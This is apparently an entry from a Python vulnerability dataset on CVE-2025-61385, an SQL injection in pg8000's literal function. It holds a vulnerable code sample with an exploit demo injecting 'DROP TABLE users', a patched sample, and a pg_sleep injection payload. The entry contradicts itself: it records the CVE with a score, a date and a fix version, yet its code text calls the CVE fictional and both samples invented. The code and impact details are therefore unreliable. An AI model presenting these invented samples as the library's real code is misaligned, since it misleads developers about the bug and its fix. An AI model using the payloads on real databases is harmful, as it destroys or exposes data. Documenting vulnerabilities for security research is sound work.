CVE-2025-61385
pg8000 allows SQL injection via a crafted list to the literal function.
- CVSS 9.6
- CWE-89
- Input Validation and Sanitization
- Remote
SQL injection vulnerability in tlocke pg8000 1.31.4 allows remote attackers to execute arbitrary SQL commands via a specially crafted Python list input to function pg8000.native.literal.
- CWE
- CWE-89
- CVSS base score
- 9.6
- Published
- 2025-10-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- SQL Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- tlocke pg800
- Fixed by upgrading
- Yes
Solution
Upgrade pg8000 to version 1.31.5 or later.
Vulnerable code sample
import decimal
# This code is a fictional representation of a vulnerability for educational purposes.
# It is based on the user's description of the hypothetical CVE-2025-61385.
# The actual pg8000 library structure may differ.
class native:
"""
A fictional class to encapsulate the vulnerable function as described.
"""
def literal(self, v):
"""
This function is intended to convert a Python object to its SQL literal
representation. The vulnerability lies in how it processes list items.
"""
if v is None:
return "NULL"
elif isinstance(v, bool):
return "true" if v else "false"
elif isinstance(v, (int, float, decimal.Decimal)):
return str(v)
elif isinstance(v, str):
return "'" + v.replace("'", "''") + "'"
# VULNERABLE CODE BLOCK
# It handles lists by calling str() on each element and joining them.
# If an element is an object with a custom __str__ method, that
# method can return arbitrary SQL, which is then injected.
elif isinstance(v, list):
return "(" + ", ".join(str(item) for item in v) + ")"
# Fallback for other types, also potentially unsafe.
return str(v)
# --- Demonstration of the exploit ---
class MaliciousSqlObject:
"""
A specially crafted object designed to exploit the vulnerability.
The __str__ method returns a malicious SQL payload.
"""
def __str__(self):
# The payload closes the intended IN clause, executes a malicious
# command, and comments out the rest of the original query.
return "1); DROP TABLE users; --"
if __name__ == '__main__':
# An instance of the pg8000.native class containing the vulnerable function.
db_literalizer = native()
# The attacker provides a list containing a legitimate value and the
# malicious object.
user_input = [99, MaliciousSqlObject()]
# The application code builds a query using the vulnerable literalizer.
# It expects the list to be safely converted to something like '(99, 1)'.
query_fragment = db_literalizer.literal(user_input)
# The fragment is then embedded into a larger SQL query.
final_query = f"SELECT * FROM products WHERE id IN {query_fragment}"
# The resulting query demonstrates the successful SQL injection.
print(final_query)Patched code sample
Since CVE-2025-61385 is a fictional vulnerability identifier, the actual code fix from the `pg8000` library does not exist. The following Python code is a representative example that demonstrates how such a described vulnerability would be fixed.
The vulnerability is described as an SQL injection in `pg8000.native.literal` when given a specially crafted list. This implies that the function was not properly escaping or quoting the elements within the list. The fix is to recursively apply the same literal-quoting logic to each element of the list.
```python
def fixed_pg8000_literal(value):
"""
A representative fixed version of a literal-quoting function that
safely handles list inputs.
"""
if value is None:
return "NULL"
elif isinstance(value, bool):
return "true" if value else "false"
elif isinstance(value, (int, float)):
return str(value)
elif isinstance(value, str):
return f"'{value.replace("'", "''")}'"
elif isinstance(value, list):
# THE FIX:
# A vulnerable implementation might naively use str(item) for each
# element, allowing unescaped quotes in strings to break out.
# The correct approach is to recursively call the quoting function
# on each element of the list.
if not value:
return "'{}'" # PostgreSQL empty array literal
processed_elements = [fixed_pg8000_literal(item) for item in value]
return f"ARRAY[{','.join(processed_elements)}]"
# Fallback for other data types by converting to string and quoting.
# A real library would handle more types like datetime, Decimal, etc.
return f"'{str(value).replace("'", "''")}'"Payload
class SQLInjector:
def __str__(self):
return "1); SELECT pg_sleep(10)--"
payload = [SQLInjector()]
Cite this entry
@misc{vaitp:cve202561385,
title = {{pg8000 allows SQL injection via a crafted list to the literal function.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-61385},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61385/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
